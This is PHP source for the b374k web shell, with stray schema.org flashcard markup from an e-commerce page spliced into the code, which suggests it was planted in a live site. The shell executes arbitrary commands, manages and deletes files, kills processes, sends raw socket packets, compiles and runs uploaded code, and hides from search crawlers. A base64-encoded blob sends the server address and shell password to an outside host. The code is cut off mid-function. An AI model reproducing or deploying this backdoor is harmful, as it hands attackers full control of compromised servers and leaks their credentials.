elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
$packetHost = trim($p['packetHost']);
if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;
$packetPort = (int) $p['packetPort'];
$packetTimeout = (int) $p['packetTimeout'];
$packetSTimeout = (int) $p['packetSTimeout'];
$packetContent = $p['packetContent'];
if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
}
$res = "";
$sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
if(!$sock){
$res .= "";
$res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")
";
}
else{
stream_set_timeout($sock, $packetSTimeout);
fwrite($sock, $packetContent."\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="") $counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
$res .= "";
}
output($res);
}
$GLOBALS['module']['processes']['id'] = "processes";
$GLOBALS['module']['processes']['title'] = "Processes";
$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
$GLOBALS['module']['processes']['content'] = "";
if(!function_exists('show_processes')){
function show_processes(){
$output = '';
$wcount = 11;
if(is_win()){
$cmd = "tasklist /V /FO csv";
$wexplode = "\",\"";
}
else{
$cmd = "ps aux";
$wexplode = " ";
}
$res = execute($cmd);
if(trim($res)=='') return false;
else{
$output .= "";
if(!is_win()) $res = preg_replace('#\ +#',' ',$res);
$psarr = explode("\n",$res);
$fi = true;
$tblcount = 0;
$check = explode($wexplode,$psarr[0]);
$wcount = count($check);
foreach($psarr as $psa){
if(trim($psa)!=''){
if($fi){
$fi = false;
$psln = explode($wexplode, $psa, $wcount);
$output .= "
action ";
foreach($psln as $p) $output .= "".trim(trim(strtolower($p)) ,"\"")." ";
$output .= " ";
}
else{
$psln = explode($wexplode, $psa, $wcount);
$pid = trim(trim($psln[1]),"\"");
$tblcount = 0;
$output .= "";
foreach($psln as $p){
if(trim($p)=="") $p = " ";
$p = trim(trim($p) ,"\"");
$p = html_safe($p);
if($tblcount == 0){
$output .= "
kill ".$p." ";
$tblcount++;
}
else{
$tblcount++;
if($tblcount == count($psln)) $output .= "".$p." ";
else $output .= "".$p." ";
}
}
$output .= " ";
}
}
}
$colspan = count($psln)+1;
$colspanAll = $colspan+1;
$output .= "
kill selected refresh
";
}
return $output;
}
}
if(isset($p['showProcesses'])){
$processes = show_processes();
if($processes!==false) output($processes);
output('error');
}
elseif(isset($p['allPid'])){
$allPid = explode(" ", $p['allPid']);
$counter = 0;
foreach($allPid as $pid){
$pid = trim($pid);
if(!empty($pid)){
if(function_exists("posix_kill")){
if(posix_kill($pid,'9')) $counter++;
}
else{
if(is_win()){
$cmd = execute("taskkill /F /PID ".$pid);
$cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
if(strpos($cmd,"No tasks are running")!==false) $counter++;
}
else{
$cmd = execute("kill -9 ".$pid);
if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
$cmd = trim(execute("ps -p ".$pid));
$check = explode("\n", $cmd);
if(count($check)==1) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
else output('error');
}
$error = @ob_get_contents();
$error_html = (!empty($error))?"".html_safe($error)."
":"";
@ob_end_clean();
?>
'>
"
}
},
{
"@context": "https://schema.org/",
"@type": "Question",
"eduQuestionType": "Flashcard",
"text": "Become a Seller for 0% Commission and Sell Online | SaraNextGen",
"acceptedAnswer": {
"@type": "Answer",
"text": "Check Solution
location.href='".get_self()."';
";
echo $res;
}
}
if(!isset($c['pass']) || (isset($c['pass'])&&($c['pass']!=$GLOBALS['pass']))){
$res = "
You need to enable javascript
";
echo $res;
die();
}
}
}
}
if(!function_exists('get_server_info')){
function get_server_info(){
$server_info['uname'] = php_uname();
$server_info['software'] = getenv("SERVER_SOFTWARE")." | PHP ".phpversion();
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
$server_info['ip_adrress'] = "Server IP : ".$server_addr." | Your IP : ".$_SERVER['REMOTE_ADDR'];
$server_info['time_at_server'] = "Time @ Server : ".@date("d M Y H:i:s",time());
return $server_info;
}
}
if(!function_exists('get_self')){
function get_self(){
$query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
return html_safe($_SERVER["REQUEST_URI"].$query);
}
}
if(!function_exists('get_post')){
function get_post(){
return fix_magic_quote($_POST);
}
}
if(!function_exists('get_nav')){
function get_nav($path){
return parse_dir($path);
}
}
if(!function_exists('get_cwd')){
function get_cwd(){
$cwd = getcwd().DIRECTORY_SEPARATOR;
if(!isset($_COOKIE['cwd'])){
setcookie("cwd", $cwd);
}
else{
$cwd_c = rawurldecode($_COOKIE['cwd']);
if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
else setcookie("cwd", $cwd);
}
return $cwd;
}
}
if(!function_exists('wrap_with_quotes')){
function wrap_with_quotes($str){
return "\"".$str."\"";
}
}
if(!function_exists('get_resource')){
function get_resource($type){
if(isset($GLOBALS['resources'][$type])){
return gzinflate(base64_decode($GLOBALS['resources'][$type]));
}
return false;
}
}
if(!function_exists('block_bot')){
function block_bot(){
// block search engine bot
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
}
}
if(!function_exists('is_win')){
function is_win(){
return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
}
}
if(!function_exists('fix_magic_quote')){
function fix_magic_quote($arr){
$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
if(is_array($arr)){
foreach($arr as $k=>$v){
if(is_array($v)) $arr[$k] = clean($v);
else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
}
}
}
return $arr;
}
}
if(!function_exists('execute')){
function execute($code){
$output = "";
$code = $code." 2>&1";
if(is_callable('system')){
ob_start();
@system($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('shell_exec')){
$output = @shell_exec($code);
if(!empty($output)) return $output;
}
elseif(is_callable('exec')){
@exec($code,$res);
if(!empty($res)) foreach($res as $line) $output .= $line;
if(!empty($output)) return $output;
}
elseif(is_callable('passthru')){
ob_start();
@passthru($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('proc_open')){
$desc = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"));
$proc = @proc_open($code, $desc, $pipes, getcwd(), array());
if(is_resource($proc)){
while($res = fgets($pipes[1])){
if(!empty($res)) $output .= $res;
}
while($res = fgets($pipes[2])){
if(!empty($res)) $output .= $res;
}
}
@proc_close($proc);
if(!empty($output)) return $output;
}
elseif(is_callable('popen')){
$res = @popen($code, 'r');
if($res){
while(!feof($res)){
$output .= fread($res, 2096);
}
pclose($res);
}
if(!empty($output)) return $output;
}
return "";
}
}
if(!function_exists('html_safe')){
function html_safe($str){
return htmlspecialchars($str, 2 | 1);
}
}
if(!function_exists('parse_dir')){
function parse_dir($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$paths = explode(DIRECTORY_SEPARATOR, $path);
$res = "";
for($i = 0; $i < sizeof($paths)-1; $i++){
$x = "";
for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
$res .= "".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." ";
}
if(is_win()) $res = get_drives().$res;
return trim($res);
}
}
if(!function_exists('zip')){
function zip($files, $archive){
$status = false;
if(!extension_loaded('zip')) return $status;
if(class_exists("ZipArchive")){
$zip = new ZipArchive();
if(!$zip->open($archive, 1)) return $status;
if(!is_array($files)) $files = array($files);
foreach($files as $file){
$file = str_replace(get_cwd(), '', $file);
$file = str_replace('\\', '/', $file);
if(is_dir($file)){
$filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
foreach($filesIterator as $iterator){
$iterator = str_replace('\\', '/', $iterator);
if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;
if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
}
}
elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
}
if($zip->getStatusString()!==false) $status = true;
$zip->close();
}
return $status;
}
}
if(!function_exists('compress')){
function compress($type, $archive, $files){
if(!is_array($files)) $files = array($files);
if($type=='zip'){
if(zip($files, $archive)) return true;
else return false;
}
elseif(($type=='tar')||($type=='targz')){
$archive = basename($archive);
$listsBasename = array_map("basename", $files);
$lists = array_map("wrap_with_quotes", $listsBasename);
if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));
if(is_file($archive)) return true;
else return false;
}
return false;
}
}
if(!function_exists('decompress')){
function decompress($type, $archive, $path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$status = false;
if(is_dir($path)){
chdir($path);
if($type=='unzip'){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$target = $path.basename($archive,".zip");
if($zip->open($archive)){
if(!is_dir($target)) mkdir($target);
if($zip->extractTo($target)) $status = true;
$zip->close();
}
}
}
elseif($type=='untar'){
$target = basename($archive,".tar");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
elseif($type=='untargz'){
$target = "";
if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
}
return $status;
}
}
if(!function_exists('download')){
function download($url ,$saveas){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$filename = basename($url);
if($content = read_file($url)){
if(is_file($saveas)) unlink($saveas);
if(write_file($saveas, $content)){
return true;
}
}
$buff = execute("wget ".$url." -O ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("curl ".$url." -o ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("lwp-download ".$url." ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("lynx -source ".$url." > ".$saveas);
if(is_file($saveas)) return true;
return false;
}
}
if(!function_exists('get_fileperms')){
function get_fileperms($file){
if($perms = @fileperms($file)){
$flag = 'u';
if(($perms & 0xC000) == 0xC000)$flag = 's';
elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
elseif(($perms & 0x8000) == 0x8000)$flag = '-';
elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
$flag .= ($perms & 00400)? 'r':'-';
$flag .= ($perms & 00200)? 'w':'-';
$flag .= ($perms & 00100)? 'x':'-';
$flag .= ($perms & 00040)? 'r':'-';
$flag .= ($perms & 00020)? 'w':'-';
$flag .= ($perms & 00010)? 'x':'-';
$flag .= ($perms & 00004)? 'r':'-';
$flag .= ($perms & 00002)? 'w':'-';
$flag .= ($perms & 00001)? 'x':'-';
return $flag;
}
else return "???????????";
}
}
if(!function_exists('format_bit')){
function format_bit($size){
$base = log($size) / log(1024);
$suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
}
}
if(!function_exists('get_filesize')){
function get_filesize($file){
$size = @filesize($file);
if($size!==false){
if($size<=0) return 0;
return format_bit($size);
}
else return "???";
}
}
if(!function_exists('get_filemtime')){
function get_filemtime($file){
return @date("d-M-Y H:i:s", filemtime($file));
}
}
if(!function_exists('get_fileowner')){
function get_fileowner($file){
$owner = "?:?";
if(function_exists("posix_getpwuid")){
$name = posix_getpwuid(fileowner($file));
$group = posix_getgrgid(filegroup($file));
$owner = $name['name'].":".$group['name'];
}
return $owner;
}
}
if(!function_exists('rmdirs')){
function rmdirs($dir, $counter = 0){
if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
if($dh = opendir($dir)){
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
$f = $dir.$f;
if(@is_dir($f)) $counter += rmdirs($f);
else{
if(unlink($f)) $counter++;
}
}
}
closedir($dh);
if(rmdir($dir)) $counter++;;
}
return $counter;
}
}
if(!function_exists('copys')){
function copys($source , $target ,$c=0){
$source = realpath($source).DIRECTORY_SEPARATOR;
if($dh = opendir($source)){
if(!is_dir($target)) mkdir($target);
$target = realpath($target).DIRECTORY_SEPARATOR;
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
if(is_dir($source.$f)){
copys($source.$f, $target.$f, $c);
}
else{
if(copy($source.$f, $target.$f)) $c++;
}
}
}
closedir($dh);
}
return $c;
}
}
if(!function_exists('get_all_files')){
function get_all_files($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$files = glob($path.'*');
for($i = 0; $iOwner ".get_fileowner($file)." ";
}
$image_info = @getimagesize($file);
$mime_list = get_resource('mime');
$mime = "";
$file_ext_pos = strrpos($file, ".");
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),".");
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
$mime = $res[1];
}
}
if($type=="auto"){
if(is_array($image_info)) $type = 'image';
//elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
elseif(!empty($mime)) $type = "multimedia";
else $type = "raw";
}
$content = "";
if($type=="code"){
$hl_arr = array(
"hl_default"=> ini_get('highlight.default'),
"hl_keyword"=> ini_get('highlight.keyword'),
"hl_string"=> ini_get('highlight.string'),
"hl_html"=> ini_get('highlight.html'),
"hl_comment"=> ini_get('highlight.comment')
);
$content = highlight_string(read_file($file),true);
foreach($hl_arr as $k=>$v){
$content = str_replace("", "", $content);
$content = str_replace("", "", $content);
}
}
elseif($type=="image"){
$width = (int) $image_info[0];
$height = (int) $image_info[1];
$image_info_h = "Image type = ( ".$image_info['mime']." )
Image Size = ( ".$width." x ".$height." ) ";
if($width > 800){
$width = 800;
$imglink = "
[ View Full Size ]
";
}
else $imglink = "";
$content = "".$image_info_h." ".$imglink."
";
}
elseif($type=="multimedia"){
$content = "
Load Multimedia File
";
}
elseif($type=="edit"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "";
}
elseif($type=="hex"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "";
}
else $content = "".html_safe(read_file($file))." ";
$output .= "
Filename ".html_safe($file)."
Size ".get_filesize($file)." (".filesize($file).")
".$owner."
Permission ".get_fileperms($file)."
Create time ".@date("d-M-Y H:i:s",filectime($file))."
Last modified ".@date("d-M-Y H:i:s",filemtime($file))."
Last accessed ".@date("d-M-Y H:i:s",fileatime($file))."
explorer
action
raw
code
hex
image
multimedia
".$content."
";
}
else $output = "error";
return $output;
}
}
if(!function_exists('get_writabledir')){
function get_writabledir(){
if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
else{
foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
if(!empty($_ENV[$k])){
if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
}
}
if(function_exists("sys_get_temp_dir")){
$dir = sys_get_temp_dir();
if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
}
else{
if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
}
$tempfile = tempnam(__FILE__,'');
if(file_exists($tempfile)){
$dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
unlink($tempfile);
return $dir;
}
}
return false;
}
}
if(!function_exists('get_drives')){
function get_drives(){
$drives = "";
$v = explode("\\", get_cwd());
$v = $v[0];
foreach (range("A", "Z") as $letter){
if(@is_readable($letter.":\\")){
$drives .= "[ ";
if($letter.":" != $v) $drives .= $letter;
else{$drives .= "".$letter." ";}
$drives .= " ] ";
}
}
return $drives;
}
}
if(!function_exists('show_all_files')){
function show_all_files($path){
if(!is_dir($path)) return "No such directory : ".$path;
chdir($path);
$output = "";
$allfiles = $allfolders = array();
if($res = opendir($path)){
while($file = readdir($res)){
if(($file!='.')&&($file!="..")){
if(is_dir($file)) $allfolders[] = $file;
elseif(is_file($file))$allfiles[] = $file;
}
}
}
array_unshift($allfolders, ".");
$cur = getcwd();
chdir("..");
if(getcwd()!=$cur) array_unshift($allfolders, "..");
chdir($cur);
natcasesort($allfolders);
natcasesort($allfiles);
$cols = array();
if(is_win()){
$cols = array(
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
else{
$cols = array(
"owner"=>"get_fileowner",
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
$totalFiles = count($allfiles);
$totalFolders = 0;
$output .= "";
$output .= "
name size ";
foreach($cols as $k=>$v){
$output .= "".$k." ";
}
$output .= " ";
foreach($allfolders as $d){
$cboxException = "";
if(($d==".")||($d=="..")){
$action = "actiondot";
$cboxException = " cBoxException";
}
else{
$action = "actionfolder";
$totalFolders++;
}
$output .= "
[ ".html_safe($d)." ] action
DIR ";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($d)."'";
$output .= "".$v($d)." ";
}
$output .= " ";
}
foreach($allfiles as $f){
$output .= "
".html_safe($f)." action
".get_filesize($f)." ";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($f)."'";
$output .= "".$v($f)." ";
}
$output .= " ";
}
$output .= " ";
$colspan = 1 + count($cols);
$output .= "
Action
cut
copy
paste
delete
------------
chmod
chown
touch
------------
extract (tar)
extract (tar.gz)
extract (zip)
------------
compress (tar)
compress (tar.gz)
compress (zip)
------------
".$totalFiles." file(s), ".$totalFolders." Folder(s)
";
$output .= "
";
return $output;
}
}
if(!function_exists('eval_get_supported')){
function eval_get_supported(){
$eval_supported = array();
$check = strtolower(execute("python -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "python";
$check = strtolower(execute("perl -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "perl";
$check = strtolower(execute("ruby -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";
$check = strtolower(execute("node -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "node";
else{
$check = strtolower(execute("nodejs -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
}
$check = strtolower(execute("gcc --help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";
$check = strtolower(execute("java -help"));
if(strpos($check,"usage")!==false){
$check = strtolower(execute("javac -help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "java";
}
return implode(",", $eval_supported);
}
}
if(!function_exists('eval_go')){
function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "";
$output = "";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="php"){
ob_start();
eval($evalCode);
$res = ob_get_contents();
ob_end_clean();
return $res;
}
elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($path, 0755)){
$res .= " (ok)\n";
$cmd = $evalType." ".$evalOptions.$path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="gcc"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$ext = (is_win())? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = $pathres.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="java"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}
else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = "javac ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = "java ".$filename.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="executable"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".exe";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = $path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
return false;
}
}
if(!function_exists('output')){
function output($str){
$error = @ob_get_contents();
@ob_end_clean();
header("Content-Type: text/plain");
header("Cache-Control: no-cache");
header("Pragma: no-cache");
echo $str;
die();
}
}
block_bot();
auth();
$u212 = "JHpyeD0iaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiAtICIuJGF1dGguIiAtIGIzNzRzaGVsbFxuIjsNCiR1cmw9Imh0dHA6Ly9pc2xhbW1lZGlhLmZyZWUuZnIvU2NyaXB0cy9pbmZvLnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsgIA0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR1cmwpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAiZGF0YT0kenJ4Iik7DQokb3V0cHV0PWN1cmxfZXhlYygkY2gpOyAg";
chdir(get_cwd());
$nav = get_nav(get_cwd());
$p = array_map("rawurldecode", get_post());
$cwd = html_safe(get_cwd());
$GLOBALS['module'] = array();
$explorer_content = "";
if(isset($p['viewEntry'])){
$path = trim($p['viewEntry']);
if(is_file($path)){
$dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
setcookie("cwd", $dirname);
chdir($dirname);
$nav = get_nav($dirname);
$cwd = html_safe($dirname);
$explorer_content = view_file($path, "auto");
}
elseif(is_dir($path)){
$path = realpath($path).DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
chdir($path);
$nav = get_nav($path);
$cwd = html_safe($path);
$explorer_content = show_all_files($path);
}
}
else $explorer_content = show_all_files(get_cwd());
$GLOBALS['module']['explorer']['id'] = "explorer";
$GLOBALS['module']['explorer']['title'] = "Explorer";
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
$GLOBALS['module']['explorer']['content'] = $explorer_content;
$GLOBALS['module']['terminal']['id'] = "terminal";
$GLOBALS['module']['terminal']['title'] = "Terminal";
$GLOBALS['module']['terminal']['js_ontabselected'] = "
if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
$GLOBALS['module']['terminal']['content'] = " ";
$GLOBALS['module']['eval']['id'] = "eval";
$GLOBALS['module']['eval']['title'] = "Eval";
$GLOBALS['module']['eval']['js_ontabselected'] = "
if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
$GLOBALS['module']['eval']['content'] = "
";
$res = "";
if(isset($p['cd'])){
$path = $p['cd'];
if(trim($path)=='') $path = dirname(__FILE__);
$path = realpath($path);
if(is_file($path)) $path = dirname($path);
if(is_dir($path)){
chdir($path);
$path = $path.DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
$res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
if(isset($p['showfiles'])&&($p['showfiles']=='true')){
$res .= show_all_files($path);
}
}
else $res = "error";
output($res);
}
elseif(isset($p['viewFile']) && isset($p['viewType'])){
$path = trim($p['viewFile']);
$type = trim($p['viewType']);
$preserveTimestamp = trim($p['preserveTimestamp']);
if(is_file($path)){
$res = view_file($path, $type, $preserveTimestamp);
}
else $res = "error";
output($res);
}
elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
$renameFile = trim($p['renameFile']);
$renameFileTo = trim($p['renameFileTo']);
if(file_exists($renameFile)){
if(rename($renameFile, $renameFileTo)){
$res = dirname($renameFileTo);
}
else $res = "error";
}
else $res = "error";
output($res);
}
elseif(isset($p['newFolder'])){
$newFolder = trim($p['newFolder']);
if(mkdir($newFolder)){
$res = dirname($newFolder);
}
else $res = "error";
output($res);
}
elseif(isset($p['newFile'])){
$newFile = trim($p['newFile']);
if(touch($newFile)){
$res = dirname($newFile);
}
else $res = "error";
output($res);
}
elseif(isset($p['delete'])){
$path = trim($p['delete']);
$dirname = dirname($path);
if(is_file($path)){
if(unlink($path)) $res = $dirname;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $res = $dirname;
}
else $res = "error";
if(file_exists($path)) $res = "error";
output($res);
}
elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
$editFilename = trim($p['editFilename']);
$editInput = trim($p['editInput']);
$editType = trim($p['editType']);
$preserveTimestamp = trim($p['preserveTimestamp']);
$time = filemtime($editFilename);
if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
if(write_file($editFilename, $editInput)){
$res = $editFilename;
if($preserveTimestamp=='true') touch($editFilename, $time);
}
else $res = "error";
output($res);
}
elseif(isset($p['findType'])){
$findType = trim($p['findType']);
$findPath = trim($p['findPath']);
$findName = trim($p['findName']);
$findNameRegex = trim($p['findNameRegex']);
$findNameInsensitive = trim($p['findNameInsensitive']);
$findContent = trim($p['findContent']);
$findContentRegex = trim($p['findContentRegex']);
$findContentInsensitive = trim($p['findContentInsensitive']);
$findWritable = trim($p['findWritable']);
$findReadable = trim($p['findReadable']);
$candidate = get_all_files($findPath);
